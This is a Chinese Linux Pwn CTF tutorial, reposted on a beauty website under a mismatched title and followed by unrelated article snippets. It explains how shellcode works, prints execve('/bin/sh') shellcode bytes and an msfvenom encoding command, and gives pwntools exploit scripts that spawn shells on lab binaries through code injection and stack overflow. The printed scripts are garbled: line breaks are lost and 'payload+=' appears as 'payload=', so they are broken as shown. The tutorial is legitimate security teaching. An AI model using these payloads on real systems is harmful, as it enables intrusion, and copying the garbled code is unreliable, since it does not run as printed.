爱美容
当前位置: 首页 美容百科

ctp操作零基础(CTF必备技能LinuxPwn入门教程)

时间:2023-06-14 作者: 小编 阅读量: 1 栏目名: 美容百科

与上一篇教程不同的是,这次的程序并不存在栈溢出。使用Pwntools库把ShellCode作为输入传递给程序,尝试使用io.interactive()与程序进行交互,发现可以执行shell命令。opcode是由最多6个域组成的,和汇编指令存在对应关系的机器码。所以我们可以直接构造合法的16进制串组成的opcode串,即ShellCode,使系统得以识别并执行,完成我们想要的功能。不同的内核态操作通过给寄存器设置不同的值,再调用同样的指令int80h,就可以通知内核完成不同的功能。

这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程。

课程回顾>>

Linux Pwn入门教程第一章:环境配置

Linux Pwn入门教程第二章:栈溢出基础

本系列教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

今天是Linux Pwn入门教程第三章:ShellCode的使用、原理与变形,本文篇幅较长,希望大家耐心看完,阅读用时约15分钟。

ShellCode的使用

在上一篇文章中我们学习了怎么使用栈溢出劫持程序的执行流程。为了减少难度,演示和作业题程序里都带有很明显的后门。然而在现实世界里并不是每个程序都有后门,即使是有,也没有那么好找。因此,我们就需要使用定制的shellCode来执行自己需要的操作。

首先我们把演示程序~/Openctf 2016-tyro_shellcode1/tyro_shellcode1复制到32位的Docker环境中并开启调试器进行调试分析。需要注意的是,由于程序带了一个很简单的反调试,在调试过程中可能会弹出如下窗口:

此时点OK,在弹出的Exception handling窗口中选择No(discard)丢弃掉SIGALRM信号即可。

与上一篇教程不同的是,这次的程序并不存在栈溢出。从F5的结果上看程序使用read函数读取的输入甚至都不在栈上,而是在一片使用mmap分配出来的内存空间上。

通过调试,我们可以发现程序实际上是读取我们的输入,并且使用call指令执行我们的输入。也就是说我们的输入会被当成汇编代码被执行。

显然,我们这里随便输入的“12345678”有点问题,继续执行的话会出错。不过,当程序会把我们的输入当成指令执行,ShellCode就有用武之地了。

首先我们需要去找一个ShellCode,我们希望ShellCode可以打开一个Shell以便于远程控制只对我们暴露了一个10001端口的Docker环境,而且ShellCode的大小不能超过传递给read函数的参数,即0x20=32。我们通过著名的shell-storm.org的ShellCode数据库shell-storm.org/shellcode/找到了一段符合条件的ShellCode。

21个字节的执行sh的ShellCode,点开一看里面还有代码和介绍。我们先不管这些介绍,把ShellCode取出来。

使用Pwntools库把ShellCode作为输入传递给程序,尝试使用io.interactive( )与程序进行交互,发现可以执行shell命令。

当然,shell-storm上还有可以执行其他功能如关机,进程炸弹,读取/etc/passwd等的ShellCode,大家也可以试一下。总而言之,ShellCode是一段可以执行特定功能的神秘代码。那么ShellCode是怎么被编写出来,又是怎么执行指定操作的呢?我们继续来深挖下去。

ShellCode的原理

这次我们直接把断点下在call eax上,然后F7跟进。

可以看到我们的输入变成了如下汇编指令:

我们可以选择Options->General,把Number of opcode bytes (non-graph)的值调大。

会发现每条汇编指令都对应着长短不一的一串16进制数。

对汇编有一定了解的读者应该知道,这些16进制数串叫做opcode。opcode是由最多6个域组成的,和汇编指令存在对应关系的机器码。或者说可以认为汇编指令是opcode的“别名”。易于人类阅读的汇编语言指令,如xor ecx, ecx等,实际上就是被汇编器根据opcode与汇编指令的替换规则替换成16进制数串,再与其他数据经过组合处理,最后变成01字符串被CPU识别并执行的。

当然,IDA之类的反汇编器也是使用替换规则将16进制串处理成汇编代码的。所以我们可以直接构造合法的16进制串组成的opcode串,即ShellCode,使系统得以识别并执行,完成我们想要的功能。关于opcode六个域的组成及其他深入知识此处不再赘述,感兴趣的读者可以在Intel官网获取开发者手册或其他地方查阅资料进行了解并尝试查表阅读机器码或者手写ShellCode。

系统调用

我们继续执行这段代码,可以发现EAX, EBX, ECX, EDX四个寄存器被先后清零,EAX被赋值为0Xb,ECX入栈,“/bin//sh”字符串入栈,并将其首地址赋给了EBX,最后执行完int 80h,IDA弹出了一个warning窗口显示got SIGTRAP signal。

点击OK,继续F8或者F9执行,选择Yes(pass to app) ,然后在python中执行io.interactive( )进行手动交互,随便输入一个shell命令如ls,在IDA窗口中再次按F9,弹出另一个捕获信号的窗口。

同样OK后继续执行,选择Yes(pass to app),发现python窗口中的shell命令被成功执行。

那么问题来了,我们这段ShellCode里面并没有system这个函数,是谁实现了“system("/bin/sh")”的效果呢?事实上,通过刚刚的调试大家应该能猜到是陌生的int 80h指令。查阅intel开发者手册我们可以知道int指令的功能是调用系统中断,所以int 80h就是调用128号中断。在32位的linux系统中,该中断被用于呼叫系统调用程序system_call( ),我们知道出于对硬件和操作系统内核的保护,应用程序的代码一般在保护模式下运行。

在这个模式下我们使用的程序和写的代码是没办法访问内核空间的。但是我们显然可以通过调用read( ), write( )之类的函数从键盘读取输入,把输出保存在硬盘里的文件中。那么read( ), write( )之类的函数是怎么突破保护模式的管制,成功访问到本该由内核管理的这些硬件呢?

答案就在于int 80h这个中断调用。不同的内核态操作通过给寄存器设置不同的值,再调用同样的指令int 80h,就可以通知内核完成不同的功能。而read( ), write( ), system( )之类的需要内核“帮忙”的函数,就是围绕这条指令加上一些额外参数处理,异常处理等代码封装而成的。32位linux系统的内核一共提供了0~337号共计338种系统调用用以实现不同的功能。

知道了int 80h的具体作用之后,我们接着去查表看一下如何使用int 80h实现system("/bin/sh")。通过http://syscalls.kernelgrok.com/,我们没找到system,但是找到了这个:

对比我们使用的ShellCode中的寄存器值,很容易发现ShellCode中的EAX = 0Xb = 11,EBX = &(“/bin//sh”), ECX = EDX = 0,即执行了sys_execve("/bin//sh", 0, 0, 0),通过/bin/sh软链接打开一个shell,所以我们可以在没有system函数的情况下打开shell。需要注意的是,随着平台和架构的不同,呼叫系统调用的指令,调用号和传参方式也不尽相同,例如64位linux系统的汇编指令就是syscall,调用sys_execve需要将EAX设置为0x3B,放置参数的寄存器也和32位不同。

ShellCode的变形

在很多情况下,我们多试几个ShellCode,总能找到符合能用的。但是在有些情况下,为了成功将ShellCode写入被攻击的程序的内存空间中,我们需要对原有的ShellCode进行修改变形以避免ShellCode中混杂有\x00, \x0A等特殊字符,或是绕过其他限制。有时候甚至需要自己写一段ShellCode。我们通过两个例子分别学习一下如何使用工具和手工对ShellCode进行变形。

首先我们分析例子~/BSides San Francisco CTF 2017-b_64_b_tuff/b-64-b-tuff.从F5的结果上看,我们很容易知道这个程序会将我们的输入进行base64编码后作为汇编指令执行(注意存放base64编码后结果的字符串指针ShellCode在return 0的前一行被类型强转为函数指针并调用)

虽然程序直接给了我们执行任意代码的机会,但是base64编码的限制要求我们的输入必须只由0-9,a-z,A-Z, ,/这些字符组成,然而我们之前用来开shell的ShellCode

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"显然含有大量的非base64编码字符,甚至包含了大量的不可见字符。因此,我们就需要对其进行编码。

在不改变ShellCode功能的情况下对其进行编码是一个繁杂的工作,因此我们首先考虑使用工具。事实上,pwntools库中自带了一个encode类用来对ShellCode进行一些简单的编码,但是目前encode类的功能较弱,似乎无法避开太多字符,因此我们需要用到另一个工具msfVENOM。由于kali中自带了metasploit,使用kali的读者可以直接使用。

首先我们查看一下msfvenom的帮助选项:

显然,我们需要先执行msfvenom -l encoders挑选一个编码器

图中的x86/alpha_mixed可以将shellcode编码成大小写混合的代码,符合我们的条件。所以我们配置命令参数如下:python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

我们需要自己输入ShellCode,但msfvenom只能从stdin中读取,所以使用linux管道操作符“|”,把ShellCode作为python程序的输出,从python的stdout传送到msfvenom的stdin。此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。最后,由于在b-64-b-tuff中是通过指令call eax调用shellcode的

所以配置BufferRegister=EAX。最后输出的payload内容为:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA

编写脚本如下:

#!/usr/bin/python#coding:utf-8from pwn import *from base64 import *context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.2', 10001) shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")print io.recv()io.send(shellcode) print io.recv() io.interactive()

成功获取shell

工具虽然好用,但也不是万能的。有的时候我们可以成功写入ShellCode,但是ShellCode在执行前甚至执行时却会被破坏。当破坏难以避免时,我们就需要手工拆分ShellCode,并且编写代码把两段分开的ShellCode再“连”到一起。比如例子~/CSAW Quals CTF 2017-pilot/pilot

这个程序的逻辑同样很简单,程序的main函数中存在一个栈溢出。

使用Pwntools自带的检查脚本checksec检查程序,发现程序存在着RWX段(同linux的文件属性一样,对于分页管理的现代操作系统的内存页来说,每一页也同样具有可读(R),可写(W),可执行(X)三种属性。只有在某个内存页具有可读可执行属性时,上面的数据才能被当做汇编指令执行,否则将会出错)

调试运行后发现这个RWX段其实就是栈,且程序还泄露出了buf所在的栈地址。

所以我们的任务只剩下找到一段合适的ShellCode,利用栈溢出劫持RIP到ShellCode上执行。所以我们写了以下脚本:

#!/usr/bin/python#coding:utf-8from pwn import *context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscallprint io.recvuntil("Location:") #读取到"Location:",紧接着就是泄露出来的栈地址shellcode_address_at_stack = int(io.recv()[0:14], 16) #将泄露出来的栈地址从字符串转换成数字log.info("Leak stack address = %x", shellcode_address_at_stack)payload = "" payload= shellcode #拼接shellcodepayload= "\x90"*(0x28-len(shellcode)) #任意字符填充到栈中保存的RIP处,此处选用了空指令NOP,即\x90作为填充字符payload= p64(shellcode_address_at_stack) #拼接shellcode所在的栈地址,劫持RIP到该地址以执行shellcodeio.send(payload)io.interactive()

但是执行时却发现程序崩溃了。

很显然,我们的脚本出现了问题。我们直接把断点下载main函数的retn处,跟进到ShellCode看看发生了什么:

从这四张图和ShellCode的内容我们可以看出,由于ShellCode执行过程中的push,最后一部分会在执行完push rdi之后被覆盖从而导致ShellCode失效。因此我们要选一个更短的ShellCode,或者就对其进行改造。鉴于ShellCode不好找,我们还是选择改造。

首先我们会发现在ShellCode执行过程中只有返回地址和上面的24个字节会被push进栈的寄存器值修改,而栈溢出最多可以向栈中写0x40=64个字节。结合对这个题目的分析可知在返回地址之后还有16个字节的空间可写。根据这四张图显示出来的结果,push rdi执行后下一条指令就会被修改,因此我们可以考虑把ShellCode在push rax和push rdi之间分拆成两段,此时push rdi之后的ShellCode片段为8个字节,小于16字节,可以容纳。

接下来我们需要考虑怎么把这两段代码连在一起执行。我们知道,可以打破汇编代码执行的连续性的指令就那么几种,call,ret和跳转。前两条指令都会影响到寄存器和栈的状态,因此我们只能选择使用跳转中的无条件跳转jmp,我们可以去查阅前面提到过的Intel开发者手册或其他资料找到jmp对应的字节码,不过幸运的是这个程序中就带了一条。

从图中可以看出jmp short locret_400B34的字节码是EB 05。显然,jmp短跳转(事实上jmp的跳转有好几种)的字节码是EB。至于为什么距离是05而不是0x34-0x2D=0x07,是因为距离是从jmp的下一条指令开始计算的。因此,我们以此类推可得我们的两段ShellCode之间跳转距离应为0x18,所以添加在第一段ShellCode后面的字节为\xeb\x18,添加两个字节也刚好避免第一段ShellCode的内容被rdi的值覆盖。所以正确的脚本如下:

#!/usr/bin/python#coding:utf-8from pwn import *context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) #shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#原始的shellcode。由于shellcode位于栈上,运行到push rdi时栈顶正好到了\x89\xe6\xb0\x3b\x0f\x05处,rdi的值会覆盖掉这部分shellcode,从而导致执行失败,所以需要对其进行拆分#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscallshellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"#第一部分shellcode,长度较短,避免尾部被push rdi污染#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push raxshellcode1= "\xeb\x18"#使用一个跳转跳过被push rid污染的数据,接上第二部分shellcode继续执行#jmp short $ 18hshellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#第二部分shellcode#push rdi#mov rsi, rsp#mov al, 0x3b#syscallprint io.recvuntil("Location:") #读取到"Location:",紧接着就是泄露出来的栈地址shellcode_address_at_stack = int(io.recv()[0:14], 16) #将泄露出来的栈地址从字符串转换成数字log.info("Leak stack address = %x", shellcode_address_at_stack)payload = "" payload= shellcode1 #拼接第一段shellcodepayload= "\x90"*(0x28-len(shellcode1)) #任意字符填充到栈中保存的RIP处,此处选用了空指令NOP,即\x90作为填充字符payload= p64(shellcode_address_at_stack) #拼接shellcode所在的栈地址,劫持RIP到该地址以执行shellcodepayload= shellcode2 #拼接第二段shellcodeio.send(payload)io.interactive()

以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。

    推荐阅读
  • 注册了微信公众号怎么注销(微信公众号怎么注销)

    冻结时长依据粉丝数而定。若已发布微信小程序并展示为所属于本微信公众帐号的,也将不再展示该等帐号关系。14注销成功,微信支付,流量主等功能是否继续使用?微信公众帐号注销之后,将无法再激活本微信公众帐号、找回发布的任何内容或信息、启用开通和绑定的任何功能,烦请关闭相关功能后再发起注销15、注销成功,微信支付,流量主等功能是否继续使用?

  • 家世显赫低调的4位明星(这8位明星竟然是同学)

    婚后凌潇肃和唐一菲生下一儿一女,婚姻非常幸福,只是唐一菲口碑受损无法复出,几乎每次露面都会引发争议。感情上,杜淳经历过熊乃瑾、张嘉倪等众多女星的绯闻后,终于在2021年宣布结婚,如今已经生下一个女儿。生活中的杨志刚非常低调,早已结婚生子,妻子是一名配音演员,很少在镜头前曝光。最近叶静和很多明星一样出演在直播间带货卖酒,只可惜销量并不乐观,还遭到网友嘲笑。

  • 统计不同列单元格重复文字次数(所有结果非要写入)

    案例:下图1是员工的各项考核等级,从表格中可以看出共有5项指标,分A、B、C、D四档结果,但是最终结果都写在了同一个单元格内。很多同学会觉得Excel单个案例讲解有些碎片化,初学者未必能完全理解和掌握。不少同学都希望有一套完整的图文教学,从最基础的概念开始,一步步由简入繁、从入门到精通,系统化地讲解Excel的各个知识点。学完全本,你也能成为Excel高手。

  • 成就非凡的三大星座女(越独立越好命的三大星座女)

    巨蟹座很多人会觉得巨蟹女适合做家庭主妇,其实只是根据他们的性格来看,他们是能够把家中大小事处理好的女人。水瓶女本身就有能力让自己过得幸福,不只是经济条件上,更是一种内心精神的满足。金牛女还特别理智,有挣钱头脑,还有理财头脑,其实一个人完全可以过得好,只是看他们想要拥有什么样的生活。金牛女平时太低调,所以越是独立的时候,越是容易让人们看到自己的好。

  • 电脑系统总是死机怎么办(自已有电脑的人)

    需要注意一点,如果你的win10开启了快速启动,下次关机再开机,可能无法使用F8键进入安全模式,因为系统并没有完全关机,你需要将快速启动关闭后才会生效。四.排除系统本身原因:1.如果系统是从网络上下载的GHOST系统的话,还有一个非常的可能性就是系统本身有病毒或加载项过多。现在网络上的GHOST系统有非常多的加载插件,还很多的安装程序,有些系统可能还含有病毒木马等恶意程序。

  • 王家卫风格的句子(王家卫风格的句子精选)

    ,现在小编就来说说关于王家卫风格的句子?王家卫风格的句子不知道从什么时候开始,在什么东西上面都有个日期,秋刀鱼会过期,肉罐头会过期,连保鲜纸都会过期,我开始怀疑,在这个世界上,还有什么东西是不会过期的?《东邪西毒》跟他接近得多了,我什么也听不到,只听见自己的心在跳,不知他可有听到?《东邪西毒》人生如棋,落子无悔。你唯一可以做的,就是让自己不要忘记。

  • 山东师范大学附属中学2022年人文社科特色招生简章

    根据人文素养测试成绩,前40名进入专业素养面试。测试合格人数不超过特色招生计划数,考生达不到学校专业测试要求的情况下,学校将减少招生人数,产生的剩余特长生计划一并纳入统招生计划。

  • 女子隆鼻失败要求免费修复被拒绝(女主播花2万多做)

    女主播花2万多做来源:江苏新闻最近广东女孩小陈向我们反映她为了让鼻子更加精致有形特地到南京一家整形医院做了

  • 韭菜的功效与作用及食用方法(韭菜的功效与作用)

    多吃韭菜,可养肝,增强脾胃之气。韭菜中的含硫化合物具有降血脂及扩张血脉的作用,适用于治疗心脑血管疾病和高血压。韭菜可以治病,用韭菜捣汁滴鼻,可以治疗中暑昏迷。韭菜中含有大量的膳食纤维,对结肠癌有明显疗效。患有皮肤白斑症的女性,常吃韭菜可以达到祛斑、减肥的双重效果。韭菜含有性兴奋剂,能兴奋性器官,在药典上有“起阳草”之称。韭菜含有较多的膳食纤维,能增进胃肠蠕动,可有效预防习惯性便秘和肠癌。

  • 安全检查及隐患整改情况登记表(安全检查和隐患整改制度36)

    安全检查及隐患整改情况登记表第一章总则第一条为了加强“安全第一,预防为主”的安全生产方针的落实,提高从业人员安全素质,防范伤亡事故,减轻职业危害,根据安全生产法和有关法律、行政法规,制定本规定。第三条本厂安全生产管理委员会负责全厂安全检查工作,并按照安全生产法和有关法律、行政法规和本规定,建立健全安全检查制度。第十七条对暂时不能整改的项目要采取有效的安全措施限期整改。